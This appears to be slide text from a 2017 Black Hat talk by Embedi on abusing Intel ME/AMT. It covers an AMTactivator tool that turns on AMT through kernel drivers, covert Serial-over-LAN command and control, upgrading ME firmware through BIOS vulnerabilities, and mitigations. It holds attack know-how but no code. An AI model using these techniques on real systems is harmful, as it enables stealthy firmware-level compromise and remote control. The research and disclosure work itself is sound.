- 2. mei64.sys 64-bit kernel driver to work with MEI
- **3**. AMTactivator.exe the application

The workflow:

- 1. Find the MEI device in the PCI CFG and get the base address if the MEI MMIO.
- 2. Use the MEI MMIO to send activation/configuration commands to Intel ME that.

Systems tested:

Intel ME version	System and chipset	CPU
7	Intel DQ67SW (vPro), Intel Q67	Intel Core i7-2600 (vPro)
8	Gigabyte GA-H77-D3H (non- vPro), Intel H77	Intel Core i7-3770 (vPro)
9	Gigabyte GA-Q87N (vPro), Intel Q87	Intel Core i3-4300 (non- vPro)
		Intel Core i5-4590 (vPro)
	Gigabyte GA-H97-D3H (non- vPro), Intel H97	Intel Core i5-4590 (vPro)



Demo 2





Current limitations of AMTactivator

- Only 6 9 Intel desktop chipset series are supported. Successful AMT activation on 100/200 series chipsets not yet achieved.
- Intel AMT configures to Standard Manageability mode (without the KVM feature) if your CPU is non-vPro.
- Intel AMT activation is possible on the systems with Intel ME 5MB firmware (1,5MB firmware doesn't have such functionality).
- Windows only, can be ported to Linux.
- Uses our kernel drivers for its operation. Can be implemented to work with Intel MEI driver as well.



Malware & Intel AMT





Remember that time we showed using AMT SOL for C2 from SMM...? legbacore.com /Research_files ... section 6.2



Microsoft MMPC @msftmmpc PLATINUM attackers can use Intel AMT SOL for stealthy C2 even with network cards disabled. Analysis and demo at ow.ly /iSy430corTN

8:12 PM - 8 Jun 2017

- 2015, <u>"How Many Million BIOSes Would you Like to Infect?</u>", Xeno Kovah & Corey Kallenberg
 - Section 6.2 "Network command & control of firmware-level malware"
 - SMM malware
 - Just writing data to a serial port
- 2017, <u>"PLATINUM continues to evolve, find ways to maintain</u> invisibility", Windows Defender Advanced Threat Hunting Team
 - Use Intel AMT Serial-over-LAN (SOL) channel for communication
 - Use AMT Technology SDK's Redirection Library API (imrsdk.dll)
 - IMR_SOLSendText()/IMR_SOLReceiveText() functions



Mitigations

- Periodically check if your system doesn't have Intel AMT enabled (network ports)
- But an attacker could periodically change the state of Intel AMT (enable/disable)
- Uninstall Intel MEI driver
- But an attacker could use its own driver to access MEI
- Use the network firewall to block any external requests to Intel AMT known network ports
- Not useful for companies that use Intel AMT in their network infrastructure
- Use <u>me_cleaner</u> to cut out the unnecessary functionality from Intel ME firmware of your system
- Could brick your system (you will need a hardware programmer to recover)



Spread Out 2



1.5MB FW to 5MB FW

Methods:

- using the SPI flash programmer (if flash memory regions are locked)
- software way (if flash memory regions are not locked)
 - o through kernel driver
 - using BIOS vulnerabilities

An obvious limitation: the new FW should fit the SPI flash size

Systems with 6 - 9 series chipsets *

system won't boot (resets during the early phases of boot process)

Systems with 100 series chipsets * system boots

 $\star-$ work in progress



What could an attacker do?

Case 1: The system uses outdated Intel AMT CVE-2017-5689

Case 2: The system doesn't use Intel AMT ActivatorAMT

Case 3: There is no Intel AMT in the systems Add Intel AMT functionality by upgrading the 1.5MB firmware to 5MB firmware

Intel chipset series	Case 1	Case 2	Case 3
6	+	+	?
7	+	+	?
8	+	+	?
9	+	+	?
100	+	?	+
200	+	?	?

? - not tested If you want to give us a hand in testing, please contact us



Attack scenarios





Takeaways

- 1. ring-3 firmware (Intel ME/AMT) has security issues.
- 2. ring-3 hardware (Intel ME/AMT) has undocumented features.
- **3**. New stealth infecting technique of computer system.
- 4. Legit functionality for illegit actions.

One should get used to the idea that attackers' possibilities and Intel AMT capabilities are the same thing. Specifically, they can use Intel AMT functionality to achieve their malicious purposes.

EMBEDI



JULY 22-27, 2017 MANDALAY BAY/LAS VEGAS, NV

THANK YOU FOR YOU ATTENTION!

CONTACTS:

Website: embedi.com

Telephone: +1 5103232636

Email: info@embedi.com

Address: 2001 Addison Street Berkeley, California 94704

🔰 #BHUSA / @BLACKHATEVENTS